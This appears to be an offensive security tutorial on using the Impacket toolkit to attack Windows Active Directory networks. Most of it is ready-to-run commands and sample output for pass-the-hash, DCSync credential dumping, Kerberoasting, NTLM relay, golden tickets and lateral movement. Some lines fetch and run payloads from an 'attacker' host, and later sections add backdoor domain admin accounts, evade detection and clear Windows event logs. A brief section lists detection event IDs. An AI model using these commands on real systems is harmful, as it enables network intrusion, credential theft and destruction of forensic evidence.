tools

Impacket: Python Toolkit for SMB, Kerberos and Active Directory Attacks

Impacket: Python Toolkit for SMB, Kerberos and Active Directory Attacks

Impacket is a Python suite for interacting with network protocols (SMB, LDAP, Kerberos, RPC) and conducting AD attacks such as DCSync and Pass-the-Hash.

  • Posted on 2026-02-15
  • Reading time: 13 min

Impacket is a Python suite developed by Fortra (formerly Core Security) that implements manipulation of Microsoft network protocols (SMB, MSRPC, LDAP, Kerberos) for offensive operations on Windows and Active Directory environments. The library provides low-level access to protocols, enabling advanced exploitation such as DCSync, pass-the-hash, Kerberos delegation attacks, and SMB relay without the need for native Windows binaries.

Impacket's strength lies in its ability to execute complex attacks from Linux/macOS systems against Windows infrastructures, eliminating dependencies on Windows-based tooling. The suite's scripts cover the entire engagement cycle: from reconnaissance (GetADUsers.py) to lateral movement (psexec.py, wmiexec.py), to domain takeover (secretsdump.py for DCSync). Impacket integrates seamlessly with Responder output for relay attacks and Hashcat for hash cracking.

In this guide, you'll learn how to use the fundamental Impacket scripts for Active Directory penetration testing, pass-the-hash techniques for lateral movement stealth, DCSync for complete domain database extraction, and the differences between psexec.py/wmiexec.py/smbexec.py to choose the optimal method based on target detection posture.

Setup and Installation #

Official repository: https://github.com/fortra/impacket
Current version: v0.12.0 (January 2025)

Installation via pip #

bash
# Metodo consigliato
pip3 install impacket

# Verifica installazione
psexec.py -h
secretsdump.py -h

Installing from Source #

bash
# Clone repository
git clone https://github.com/fortra/impacket.git
cd impacket

# Install in developer mode
pip3 install .

# Oppure senza installazione
python3 setup.py install

Kali Linux #

Impacket comes pre-installed on Kali:

bash
# Verifica presenza
which psexec.py

# Update all'ultima versione
sudo pip3 install --upgrade impacket

# Location scripts
ls /usr/share/doc/python3-impacket/examples/

Python Dependencies #

bash
# Install dependencies manualmente se necessario
pip3 install pyasn1 pycryptodomex pyOpenSSL ldap3 flask

# Kerberos support (opzionale)
sudo apt install krb5-user

Operation Check #

bash
# Test script disponibili
impacket-psexec -h
impacket-secretsdump -h
impacket-GetNPUsers -h

# Verifica versione
python3 -c "import impacket; print(impacket.__version__)"

Output: 0.12.0

Basic Use #

Script Package Architecture #

Impacket provides ~60 Python scripts for specific tasks. The most relevant for pentesting:

Remote Execution #

  • psexec Executes remote commands by creating a temporary service via SMB. A direct and very reliable method for obtaining the SYSTEM shell.
  • smbexec Stealthier variant of psexec: uses SMB shares and temporary files without installing a persistent service.
  • wmiexec Remote execution via WMI. Often quieter on the AV/EDR side than psexec.
  • dcomexec Abuses DCOM for remote command execution when WMI is filtered.
  • atexec Leverage Task Scheduler to create remote tasks that execute privileged commands.

CredentialAccess #

  • secretsdump NTLM hash dump from SAM/LSA or DCSync attack against Domain Controller.
  • GetNPUsers AS-REP Roasting: Extracts hashes of accounts with pre-authentication disabled.
  • GetUserSPNs Kerberoasting: Requires ticket service (TGS) for offline cracking.
  • getTGT Requires a valid Ticket Granting Ticket using credentials or hash.
  • getST Requires a specific Service Ticket for a service in the domain.

Enumeration #

  • GetADUsers Active Directory user enumeration via LDAP.
  • lookupsid Brute-force SIDs to map domain users and groups.
  • rpcdump Lists exposed RPC endpoints on a Windows host.
  • samrdump Dump account information via SAMR protocol.

SMB Operations #

  • smbclient Interactive SMB client for browsing shares and transferring files.
  • smbserver Start a local SMB server to receive files or mount shares during an attack.
  • ntlmrelayx NTLM relay framework: intercepts NTLM authentications and relays them to other services for escalation or lateral movement.

psexec.py: Remote Execution Base #

bash
# Password authentication
psexec.py DOMAIN/user:password@192.168.1.100

# Pass-the-hash
psexec.py -hashes :NTLM_HASH DOMAIN/user@target

# Local authentication
psexec.py ./administrator:password@192.168.1.100

# With command
psexec.py DOMAIN/user:pass@target 'whoami'

Common parameters:

FlagFunction
-hashes LM:NTLMPass-the-hash authentication
-kUse Kerberos authentication
-dc-ip IPIP Domain Controller
-target-ip IPForce specific IP
-port PORTCustom SMB port
-codec CODECOutput encoding

Example output:

bash
psexec.py CORP/admin:P@ssw0rd@192.168.1.100

Impacket v0.12.0 - Copyright Fortra, LLC

[*] Requesting shares on 192.168.1.100.....
[*] Found writable share ADMIN$
[*] Uploading file QhTvXpKR.exe
[*] Opening SVCManager on 192.168.1.100.....
[*] Creating service mLOG on 192.168.1.100.....
[*] Starting service mLOG.....
[!] Press help for extra shell commands

Microsoft Windows [Version 10.0.19045]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

secretsdump.py: Credential Extraction #

bash
# DCSync (richiede DA o DCSync rights)
secretsdump.py DOMAIN/admin:password@dc01.corp.local

# Pass-the-hash
secretsdump.py -hashes :NTLM DOMAIN/admin@dc01

# Local SAM dump (richiede local admin)
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

# NTDS.dit extraction
secretsdump.py -ntds ntds.dit -system system.hive LOCAL

DCSync Output:

text
Impacket v0.12.0

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7d5c6f2e8a1c5e4d3b2a9f8e7d6c5b4:::

GetUserSPNs.py: Kerberoasting #

bash
# Enumerate Kerberoastable accounts
GetUserSPNs.py CORP/user:password -dc-ip 192.168.1.10

# Request tickets e salva
GetUserSPNs.py CORP/user:password -dc-ip 192.168.1.10 -request -outputfile tickets.txt

# Pass-the-hash
GetUserSPNs.py -hashes :NTLM CORP/user -dc-ip 192.168.1.10 -request

Output:

text
ServicePrincipalName              Name        MemberOf
--------------------------------  ----------  ------------------
MSSQLSvc/sql01.corp.local:1433    svc_sql     CN=Domain Users
HTTP/sharepoint.corp.local        svc_web     CN=Domain Users

[*] Getting TGS for svc_sql
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$8f7e...

[*] Getting TGS for svc_web
$krb5tgs$23$*svc_web$CORP.LOCAL$HTTP/sharepoint.corp.local*$9a2b...

Operating Techniques #

Pass-the-Hash Workflow #

Impacket's PTH mechanism bypasses the need for plaintext passwords by using only NTLM hashes.

Extraction hash:

bash
# Da sistema compromesso (Windows)
.\mimikatz.exe "sekurlsa::logonpasswords" exit

# Output:
# Username: admin
# NTLM: a4f49c406510bdcab6824ee7c30fd852

Hash usage:

bash
# psexec PTH
psexec.py -hashes :a4f49c406510bdcab6824ee7c30fd852 CORP/admin@192.168.1.101

# wmiexec PTH (stealth)
wmiexec.py -hashes :a4f49c406510bdcab6824ee7c30fd852 CORP/admin@target

# secretsdump PTH
secretsdump.py -hashes :a4f49c406510bdcab6824ee7c30fd852 CORP/admin@dc01

Hash format: LM hash (obsolete, uses aad3b435b51404eeaad3b435b51404ee) + NTLM hash.

bash
# Formato completo
-hashes aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852

# Solo NTLM (consigliato)
-hashes :a4f49c406510bdcab6824ee7c30fd852

wmiexec.py for Stealth #

wmiexec.py does not drop binaries on targets, using only WMI for command execution.

bash
# Basic usage
wmiexec.py CORP/admin:password@192.168.1.100

# Con PTH
wmiexec.py -hashes :hash CORP/admin@target

# Custom shell (cmd o powershell)
wmiexec.py CORP/admin:pass@target -shell-type powershell

Advantage: No service creation (no Event 7045), no binary in C:\Windows.

Disadvantage: Output to temporary file in C:\Windows\Temp (leave artifacts).

Comparison timing:

MethodConnectionFirst CommandDetection
psexec.py2-3 sec1 secHigh (Event 7045)
wmiexec.py1-2 sec2-3 secMedia
smbexec.py2 sec1-2 secHigh average
dcomexec.py1-2 sec2-3 secBassa

DCSync Attack #

DCSync simulates Domain Controller replication to extract password hashes without physical DC access.

Requirements:

  • Credentials with one of:
    • Domain Admin
    • Enterprise Admin
    • Replicating Directory Changes + Replicating Directory Changes All (permissions custom)
bash
# DCSync completo (tutti gli utenti)
secretsdump.py CORP/Administrator:password@dc01.corp.local

# DCSync specifico utente
secretsdump.py CORP/admin:pass@dc01 -just-dc-user krbtgt

# Con PTH
secretsdump.py -hashes :hash CORP/admin@dc01 -just-dc-ntlm

# Output formato
secretsdump.py CORP/admin:pass@dc01 -outputfile domain_hashes

Output files:

text
domain_hashes.ntds - NTLM hashes
domain_hashes.ntds.cleartext - Plaintext passwords (se presenti)
domain_hashes.ntds.kerberos - Kerberos keys

Performance: ~500-2000 accounts/second (depends on network latency).

Kerberoasting Chain #

bash
# Step 1: Enumerate SPNs
GetUserSPNs.py CORP/user:password -dc-ip 192.168.1.10

# Step 2: Request tickets
GetUserSPNs.py CORP/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast.txt

# Step 3: Crack con Hashcat
hashcat -m 13100 kerberoast.txt rockyou.txt --force

# Step 4: Use cracked password
psexec.py CORP/svc_sql:CrackedPassword123!@sql01.corp.local

Realistic timeline: 5-10 minutes enumeration + cracking (depends on password complexity).

Advanced Techniques #

AS-REP Roasting #

AS-REP roasting exploits accounts with “Do not require Kerberos preauthentication” enabled.

bash
# Enumerate vulnerable users
GetNPUsers.py CORP/ -dc-ip 192.168.1.10 -usersfile users.txt -format hashcat

# Con credenziali valide
GetNPUsers.py CORP/user:password -dc-ip 192.168.1.10 -request

# Output AS-REP hash
$krb5asrep$23$user@CORP.LOCAL:a8f4e9c2b...

Crack hash:

bash
hashcat -m 18200 asrep_hashes.txt rockyou.txt

Difference vs Kerberoasting:

  • AS-REP roasting: Does not require valid credentials (userlist sufficient)
  • Kerberoasting: Requires domain user credentials

NTLM Relay with ntlmrelayx.py #

bash
# Setup relay to target
ntlmrelayx.py -t smb://192.168.1.100 -smb2support

# Con specific command
ntlmrelayx.py -t 192.168.1.100 -c "powershell IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"

# SOCKS proxy per interactive access
ntlmrelayx.py -tf targets.txt -socks -smb2support

# Relay to LDAP (per privilege escalation)
ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user lowpriv

Integration with Responder:

bash
# Terminal 1: Responder poison
sudo responder -I eth0 -v

# Terminal 2: ntlmrelayx relay
ntlmrelayx.py -tf targets.txt -smb2support

# Quando victim authenticate → relay automatico

Kerberos Delegation Attacks #

bash
# Unconstrained delegation enumeration
findDelegation.py CORP/user:password -dc-ip 192.168.1.10

# Constrained delegation abuse
getST.py -spn cifs/target.corp.local -impersonate Administrator CORP/delegated_user:password

# Use ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass CORP/Administrator@target.corp.local

NTDS.dit Offline Extraction #

bash
# Step 1: Copy NTDS.dit e SYSTEM hive (da DC)
# Via volume shadow copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hive

# Step 2: Transfer a attacker machine
# [transfer via SMB/HTTP]

# Step 3: Extract hashes offline
secretsdump.py -ntds ntds.dit -system system.hive LOCAL -outputfile domain_full_dump

Advantage: Offline extraction, no network traffic during dump, no real-time detection.

Practical Scenarios #

Scenario 1: Lateral Movement Post-Hash Extraction #

Context: You dumped NTLM hash from compromised workstation, want to propagate laterally.

Timeline: 2-5 minutes per target

Step 1 - Hash extraction:

bash
# Su workstation compromessa (Windows)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > creds.txt

Output:

text
Username: backup_admin
NTLM: b4e7c8d9a1f2e3b5c6a7d8e9f0a1b2c3

Step 2 - Validate hash:

bash
# Test con crackmapexec
crackmapexec smb 192.168.10.0/24 -u backup_admin -H b4e7c8d9a1f2e3b5c6a7d8e9f0a1b2c3 --continue-on-success

Output:

text
SMB  192.168.10.20  445  MGMT-01  [+] CORP\backup_admin:b4e7c8... (Pwn3d!)
SMB  192.168.10.21  445  MGMT-02  [+] CORP\backup_admin:b4e7c8... (Pwn3d!)
SMB  192.168.10.22  445  FILE-01  [+] CORP\backup_admin:b4e7c8... (Pwn3d!)

Step 3 - Lateral movement:

bash
# psexec PTH su primo target
psexec.py -hashes :b4e7c8d9a1f2e3b5c6a7d8e9f0a1b2c3 CORP/backup_admin@192.168.10.20

Output:

text
Impacket v0.12.0

[*] Requesting shares on 192.168.10.20.....
[*] Found writable share ADMIN$
[*] Uploading file MnPqRsTu.exe
[*] Opening SVCManager on 192.168.10.20.....
[*] Creating service KLmN on 192.168.10.20.....
[*] Starting service KLmN.....

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
MGMT-01

Step 4 - Credential harvest on new target:

bash
# Upload mimikatz
C:\> powershell -c "IEX(New-Object Net.WebClient).DownloadFile('http://attacker/mimikatz.exe','C:\Windows\Temp\m.exe')"

# Dump
C:\Windows\Temp> m.exe "sekurlsa::logonpasswords" exit > C:\Windows\Temp\dump.txt

# Download
C:\> type C:\Windows\Temp\dump.txt

New hashes found → repeat Step 2-4 for propagation.

What to do if it fails:

“STATUS_LOGON_FAILURE”:

  • Cause: Invalid hash or account does not have admin rights on target
  • Fix: Re-dump hash, verify group membership
bash
# Check se user è local admin
crackmapexec smb target -u user -H hash --local-auth

“Connection refused” or timeout:

  • Cause: Firewall blocks SMB (445) or offline targets
  • Fix: Port scan, try WinRM (5985)
bash
nmap -p445,5985 target
evil-winrm -i target -u user -H hash

psexec.py fails but valid credentials:

  • Cause: EDR blocks service creation or PSEXESVC
  • Fix: Use wmiexec.py (stealth)
bash
wmiexec.py -hashes :hash CORP/user@target

Scenario 2: DCSync Domain Takeover #

Context: Compromised account with DCSync rights, want full domain database.

Timeline: 5-15 minutes (depends on domain size)

Step 1 - Verify privileges:

bash
# Check se account ha DCSync rights
# [requires BloodHound analysis o manual LDAP query]

# Oppure test diretto
secretsdump.py CORP/compromised_user:password@dc01.corp.local -just-dc-user Administrator

If this happens → you have DCSync rights.

Step 2 - Full DCSync:

bash
# Dump completo domain
secretsdump.py CORP/compromised_user:password@dc01.corp.local -outputfile domain_dump

Output:

text
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7d5c6f2e8a1c5e4d3b2a9f8e7d6c5b4:::
svc_sql:1104:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
[... 2,500 accounts ...]

[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:8f7e6d5c4b3a2918...

Timeline: ~3-5 minutes for 1,000 accounts, ~10-15 minutes for 10,000 accounts.

Step 3 - Parse critical accounts:

bash
# Extract solo Domain Admins
grep -i "Domain Admins" domain_dump.ntds

# Extract krbtgt per golden ticket
grep "krbtgt" domain_dump.ntds

Step 4 - Golden Ticket creation:

bash
# Con Impacket ticketer
ticketer.py -nthash b7d5c6f2e8a1c5e4d3b2a9f8e7d6c5b4 -domain-sid S-1-5-21-123456789-987654321-111111111 -domain corp.local Administrator

# Output: Administrator.ccache

# Use ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass CORP/Administrator@dc01.corp.local

Step 5 - Persistence:

bash
# Create backdoor admin
C:\> net user hacker P@ssw0rd123! /add /domain
C:\> net group "Domain Admins" hacker /add /domain

What to do if it fails:

“DRSU Access Denied”:

  • Cause: Account does not have DCSync rights (Replicating Directory Changes permissions)
  • Fix: Escalate privileges or find rights accounts through BloodHound

DCSync only partial (some accounts missing):

  • Cause: Read-only Domain Controller (RODC) as target
  • Fix: Target writable DC
bash
# Identifica writable DC
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local

Network timeout during dump large domain:

  • Cause: DC slow response or high network latency
  • Fix: Incremental dump for OU
bash
# Dump solo OU specifica
secretsdump.py CORP/user:pass@dc01 -just-dc -base-dn "OU=Users,DC=corp,DC=local"

Scenario 3: Kerberoasting to SQL Server Compromise #

Context: Standard domain user, want to escalate via Kerberoasting.

Timeline: 20-40 minutes (includes cracking)

Step 1 - Enumerate SPNs:

bash
GetUserSPNs.py CORP/lowpriv_user:UserPass123!@ -dc-ip 192.168.1.10

Output:

text
ServicePrincipalName              Name        MemberOf
--------------------------------  ----------  ------------------
MSSQLSvc/sql01.corp.local:1433    svc_sql     CN=SQL Admins
HTTP/web.corp.local               svc_web     CN=Web Admins

Step 2 - Request tickets:

bash
GetUserSPNs.py CORP/lowpriv_user:UserPass123!@ -dc-ip 192.168.1.10 -request -outputfile kerberoast.txt

Output file kerberoast.txt:

text
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$8f7e6d5c...
$krb5tgs$23$*svc_web$CORP.LOCAL$HTTP/web.corp.local*$a4f49c4065...

Step 3 - Offline Crack:

bash
# Hashcat con rockyou
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force

# Output dopo 15 minuti:
# $krb5tgs$23$*svc_sql$CORP...:SQLService2023!

Step 4 - SQL Server access:

bash
# mssqlclient.py con credenziali craccate
mssqlclient.py CORP/svc_sql:SQLService2023!@@sql01.corp.local

Output:

text
Impacket v0.12.0

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed database context to 'master'.

SQL> SELECT SYSTEM_USER;
CORP\svc_sql

SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
nt service\mssql$sqlexpress

Step 5 - Privilege escalation via SQL:

bash
# Check se svc_sql ha impersonation rights
SQL> SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

# Impersonate sa
SQL> EXECUTE AS LOGIN = 'sa';
SQL> EXEC xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString("http://attacker/shell.ps1")';

Reverse shell received → SQL server full escalation.

What to do if it fails:

No SPNs found:

  • Cause: No service account with SPN configured
  • Fix: Manually enumerate LDAP
bash
ldapsearch -x -H ldap://dc01.corp.local -D "CORP\user" -w password -b "DC=corp,DC=local" "servicePrincipalName=*" servicePrincipalName

Hash cracking fails:

  • Cause: Strong password not in wordlist
  • Fix: Custom rules or targeted brute-force
bash
# Rules-based attack
hashcat -m 13100 kerberoast.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Password spray con variazioni
hashcat -m 13100 kerberoast.txt --stdout | hashcat -m 13100 kerberoast.txt

mssqlclient.py “Login failed”:

  • Cause: Account valid but no SQL login
  • Fix: Check SQL permissions or use Windows authentication
bash
# Force Windows auth
mssqlclient.py -windows-auth CORP/svc_sql:pass@sql01

Toolchain Integration #

Full Attack Chain Flow #

text
Responder (capture) → Impacket ntlmrelayx (relay) → secretsdump (DCSync) → psexec (lateral)

Practical example:

bash
# Step 1: Responder poisoning
sudo responder -I eth0 -wv

# Step 2: NTLM relay setup
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell IEX(...)"

# Step 3: Quando relay succede, use credentials
psexec.py CORP/relayed_user@target

# Step 4: Escalate e DCSync
secretsdump.py CORP/admin:pass@dc01 -outputfile full_dump

# Step 5: Mass lateral movement
while read ip; do
    wmiexec.py -hashes :hash CORP/admin@$ip "whoami"
done < targets.txt

Impacket vs Native Windows Tools #

CapabilityPacketNative WindowsBenefit
PlatformLinux/Mac/Windowswindows-onlyCross-platform
Pass the HashNative supportRequires mimikatzBuilt-in
DCSyncsecretsdump.pymimikatz lsadump::dcsyncNo binary drop
Kerber-roastingGetUserSPNs.pyRubeus.exePython-based
Lateral movementpsexec/wmiexecPsExec.exeMultiple methods
DetectionMediumVariesDepends on method
LoggingControllableFull telemetryLess forensics

When to use Impacket:

  • Linux attack (common in pentests)
  • Need pass-the-hash without Mimikatz
  • Cross-platform operations
  • Scripting automation (Python)

When to use native Windows:

  • Already on compromised Windows system
  • Specific capabilities (e.g. token manipulation)
  • Evasion tailored for environment

Integration with CrackMapExec #

CrackMapExec uses Impacket internally but provides a more user-friendly interface.

bash
# CME per validation massiva
crackmapexec smb 192.168.1.0/24 -u admin -H hash --continue-on-success

# CME trova 10 target vulnerabili

# Impacket per exploitation singola targeted
psexec.py -hashes :hash CORP/admin@192.168.1.50

# Impacket per DCSync
secretsdump.py -hashes :hash CORP/admin@192.168.1.10

Optimal workflow: CME for reconnaissance → Ipacket for exploitation.

Integration with Mimikatz Output #

bash
# Mimikatz dump su Windows
.\mimikatz.exe "sekurlsa::logonpasswords" exit > creds.txt

# Parse NTLM hash
grep "NTLM" creds.txt | awk '{print $3}'

# Output: a4f49c406510bdcab6824ee7c30fd852

# Impacket PTH immediate
psexec.py -hashes :a4f49c406510bdcab6824ee7c30fd852 CORP/admin@next_target

Attack Chain Complete #

Network Reconnaissance → Domain Admin (4-6 hours) #

Phase 1: Network Reconnaissance (T+0)

bash
# Nmap scan
nmap -p445,88,389 192.168.10.0/24

# Identified: DC at 192.168.10.10

Phase 2: SMB Relay Attack (T+20min)

bash
# Terminal 1: Responder
sudo responder -I eth0 -v

# Terminal 2: ntlmrelayx
ntlmrelayx.py -t ldap://192.168.10.10 --escalate-user lowpriv

# Victim authenticate → privilege escalated

Phase 3: AS-REP Roasting (T+45min)

bash
# Enumerate vulnerable accounts
GetNPUsers.py CORP/ -dc-ip 192.168.10.10 -usersfile userlist.txt -format hashcat

# Output: 3 AS-REP hashes

# Crack
hashcat -m 18200 asrep.txt rockyou.txt

# Cracked: user1:Welcome2024!

Phase 4: Kerberoasting (T+1h 15min)

bash
# Authenticated enumeration
GetUserSPNs.py CORP/user1:Welcome2024!@ -dc-ip 192.168.10.10 -request -outputfile tgs.txt

# Crack service accounts
hashcat -m 13100 tgs.txt rockyou.txt

# Cracked: svc_backup:BackupPass123!

Phase 5: Privilege Verification (T+1h 40min)

bash
# Check svc_backup privileges (BloodHound analysis showed DCSync rights)

# Test DCSync
secretsdump.py CORP/svc_backup:BackupPass123!@@192.168.10.10 -just-dc-user Administrator

Success → svc_backup has DCSync rights!

Phase 6: Full Domain Dump (T+2h)

bash
# Complete DCSync
secretsdump.py CORP/svc_backup:BackupPass123!@@192.168.10.10 -outputfile corp_full_dump

# 3,200 accounts dumped in 8 minutes

Phase 7: Golden Ticket (T+2h 15min)

bash
# Extract krbtgt hash
grep "krbtgt" corp_full_dump.ntds
# krbtgt:502:...:c8f4e9d2a1b5e3f7c6d8a9e0f1b2c3d4:::

# Create golden ticket
ticketer.py -nthash c8f4e9d2a1b5e3f7c6d8a9e0f1b2c3d4 -domain-sid S-1-5-21... -domain corp.local Administrator

# Use ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass CORP/Administrator@192.168.10.10

Phase 8: Persistence (T+2h 30min)

bash
# On DC
C:\> net user backdoor P@ssw0rd123! /add /domain
C:\> net group "Domain Admins" backdoor /add /domain
C:\> net group "Enterprise Admins" backdoor /add /domain

# Verify
C:\> net user backdoor /domain

Result: Complete domain takeover via Impacket attack chain.

Detection & Evasion #

Blue Team Detection Vectors #

Event ID monitoring:

Event IDComponentIndicator
4624SecurityLogon Type 3 (Network) suspicious source
4672SecurityAdmin privileges assigned unusual account
4662SecurityDRSUAPI DCSync operation
5145SecurityADMIN$/IPC$ share access
7045SystemService installed (psexec PSEXESVC)
4688SecurityProcess creation: wmiprvse.exe, cmd.exe chains
4769SecurityKerberos TGS request (Kerberoasting detection)
4768SecurityKerberos TGT request (AS-REP roasting)

Network detection:

text
DCSync traffic pattern:
- DRSUAPI RPC calls to port 135 + dynamic high port
- Large LDAP response packets (>100 KB)
- Sequential GUID-based queries

Kerberoasting pattern:
- Rapid TGS-REQ for multiple SPNs
- RC4 encryption requested (vs AES)

Behavioral analytics:

  • Service accounts lateral movement (unusual)
  • Off-hours DCSync operations
  • Geographic anomalies (IP source)

Evasion Techniques #

1. Kerberos instead of NTLM

bash
# NTLM (più monitored)
psexec.py -hashes :hash CORP/user@target

# Kerberos (meno suspicious)
getTGT.py CORP/user:password
export KRB5CCNAME=user.ccache
psexec.py -k -no-pass CORP/user@target

Kerberos authentication generates fewer SOC-centric alerts on NTLM monitoring.

2. wmiexec instead of psexec

bash
# psexec: alta detection (Event 7045)
psexec.py CORP/user:pass@target

# wmiexec: media detection (no service)
wmiexec.py CORP/user:pass@target

3. Staged DCSync

bash
# Full dump (suspicious: 10 GB traffic)
secretsdump.py CORP/admin:pass@dc01

# Staged dump (stealth: multiple small sessions)
secretsdump.py CORP/admin:pass@dc01 -just-dc-user Administrator
# Wait 1 hour
secretsdump.py CORP/admin:pass@dc01 -just-dc-user krbtgt
# Wait 2 hours
secretsdump.py CORP/admin:pass@dc01 -just-dc-ntlm | head -100

Time distribution reduces spike detection.

Post-Exploitation Cleanup #

bash
# psexec cleanup (automatico ma verifica)
# Service PSEXESVC removed automaticamente
# Binary in C:\Windows\System32 deleted

# wmiexec cleanup
# Elimina output files in C:\Windows\Temp
C:\> del /f /q C:\Windows\Temp\__output C:\Windows\Temp\__error

# Clear event logs (richiede elevated privileges)
C:\> wevtutil cl Security
C:\> wevtutil cl System

# Prefetch cleanup
C:\> del /f /q C:\Windows\Prefetch\*.pf

Scripted cleanup:

python
# cleanup.py - esegui via wmiexec
import os
os.system('del /f /q C:\\Windows\\Temp\\__*')
os.system('del /f /q C:\\Windows\\Prefetch\\PSEXESVC*.pf')
os.system('wevtutil cl Security 2>nul')

Performance & Scaling #

Single Target Performance #

psexec.py timing:

bash
# Cold connection (first time)
time psexec.py CORP/admin:pass@target 'whoami'

# Real: 0m3.2s
# User: 0m0.8s
# Sys: 0m0.1s

breakdown:

  • SMB connection: 0.5s
  • Service creation: 1.2s
  • Command execution: 0.8s
  • Cleanup: 0.7s

wmiexec.py timing:

bash
time wmiexec.py CORP/admin:pass@target 'whoami'

# Real: 0m2.8s

Slightly faster (no service creation overhead).

Mass Lateral Movement #

100 target scenario:

MethodSequentialParallel (10 threads)Parallel (20 threads)
psexec.py~5 minutes~35 seconds~20 seconds
wmiexec.py~4.5 minutes~30 seconds~18 seconds

Parallel execution script:

bash
#!/bin/bash
# parallel_psexec.sh

cat targets.txt | parallel -j 20 'psexec.py -hashes :hash CORP/admin@{} "hostname" 2>&1 | tee {}.txt'

DCSync Performance #

Domain size benchmarks:

ShowcaseTimeData SizeNetwork usage
50045 sec2 MB~50 KB/s
5,0005 min20 MB~70 KB/s
50,00035 min180 MB~85 KB/s

Optimization:

bash
# Targeted dump (faster)
secretsdump.py CORP/admin:pass@dc01 -just-dc-ntlm

# vs Full dump (slower, include Kerberos keys)
secretsdump.py CORP/admin:pass@dc01

Troubleshooting #

“SMB SessionError: STATUS_ACCESS_DENIED” #

Cause: Invalid credentials, user not local admin, or UAC remote restrictions.

Diagnosis:

bash
# Test credentials
crackmapexec smb target -u user -p password

# Se CME → [+] ma Impacket fallisce: UAC issue

Fix:

bash
# 1. Use Domain Admin account (bypass UAC restrictions)
psexec.py CORP/domain_admin:pass@target

# 2. Use different method
wmiexec.py CORP/user:pass@target

# 3. Disable UAC remote restrictions (richiede registry edit su target)

“Kerberos SessionError: KRB_AP_ERR_SKEW” #

Cause: Time skew between attacker and target/DC.

Diagnosis:

bash
# Check time difference
date; ssh target "date"

# Se differenza > 5 minuti: problema

Fix:

bash
# Sync time con DC
sudo ntpdate dc01.corp.local

# Oppure manual
sudo date -s "$(curl -s --head http://dc01.corp.local | grep ^Date: | sed 's/Date: //g')"

secretsdump “DRSU Access Denied” #

Cause: Account does not have DCSync rights (Replicating Directory Changes permissions).

Diagnosis:

bash
# Check privileges con BloodHound o LDAP query

# Test con different user
secretsdump.py CORP/alternate_admin:pass@dc01 -just-dc-user Administrator

Fix:

  • Escalate privileges to get DA
  • Find service account with DCSync rights (e.g. backup accounts)
  • Exploit ACL misconfiguration for grant DCSync rights

GetUserSPNs “No entries found” #

Cause: No service account with SPN configured (rare), or domain unreachable.

Diagnosis:

bash
# Verify DC connectivity
ping dc01.corp.local
nmap -p88,389 dc01.corp.local

# Manual LDAP query
ldapsearch -x -H ldap://dc01 -D "user@corp.local" -w password -b "DC=corp,DC=local" "servicePrincipalName=*"

Fix:

  • Verify valid credentials
  • Check network connectivity to DC
  • Ensure LDAP port 389 accessible

psexec Uploads File But Hangs #

Cause: Antivirus quarantine PSEXESVC.exe, or service start failed.

Diagnosis:

bash
# Check service status su target (con altro accesso)
sc query PSEXESVC

# Se "STOPPED" o "NON_EXISTENT": AV blocked

Fix:

bash
# 1. Use alternative method
wmiexec.py CORP/user:pass@target

# 2. Disable AV temporaneamente
# 3. Custom service name
psexec.py -service-name "WindowsUpdate" CORP/user:pass@target

FAQ #

Does Impacket require Domain Admin for all operations?

No. Many scripts work with standard users: GetUserSPNs (kerberoasting), GetNPUsers (AS-REP roasting), psexec/wmiexec (require local admin on the target, not DA). Only secretsdump DCSync requires DA or equivalent privileges.

Does Pass-the-hash work on all Impacket scripts?

Almost all. Flag -hashes :NTLM Supported by: psexec, wmiexec, smbexec, dcomexec, secretsdump, GetUserSPNs. Not supported by: scripts that only require Kerberos (getTGT requires a password or AES key).

What's the difference between psexec.py and PsExec.exe (Sysinternals)?

Similar operation, but: psexec.py supports native PTH, cross-platform (Linux/Mac), no Windows dependencies. PsExec.exe is a Windows-only binary, requires a plaintext password, but signed by Microsoft (less suspicious for some AV).

Can secretsdump extract plaintext passwords?

Yes, if present. Windows can cache plaintext passwords (Wdigest) on pre-Windows 8.1 systems. secretsdump output includes section .cleartext with plaintext passwords if available. On modern Windows 10+: rare (Wdigest disabled by default).

